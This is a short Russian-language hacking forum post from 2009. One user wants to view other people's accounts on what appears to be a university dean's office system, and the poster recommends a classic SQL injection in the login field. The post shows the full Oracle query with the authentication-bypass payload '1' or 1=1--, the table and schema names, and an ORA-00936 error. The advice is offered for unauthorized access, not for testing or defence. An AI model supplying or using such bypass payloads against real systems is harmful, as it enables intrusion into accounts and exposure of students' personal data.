09.08.2009, 12:51
|
|
Новичок
Регистрация: 27.07.2009
Сообщений: 13
Провел на форуме:
63551
Репутация:
13
|
|
Сообщение от Raz0rnsk
шутку не оценил, насчет почитать статьи это и сам знаю, я спрашивал конкретно, в связи с типом сервера и тд
а свой лог/пасс у меня есть, мне надо чужие просмотреть  Кроме шуток, чем тебя не устраивает классическая инъекция в where в поле авторизации?
Запрос у нас будет выглядеть примерно следующим образом:
Код:
SELECT t.*, st.family_name || ' ' || st.name || ' ' || st.patronymic_name FIO, st.sex FROM okuser.NODEUSERS t join decanatuser.student st on st.pk=t.idstudent WHERE t.SLOGIN='1' or 1=1--' and t.SPASSWORD='D6581D542C7EAF801284F084478B5FCC' and t.idstudent is not NULL [nativecode=ORA-00936: missing expression]
|
|
|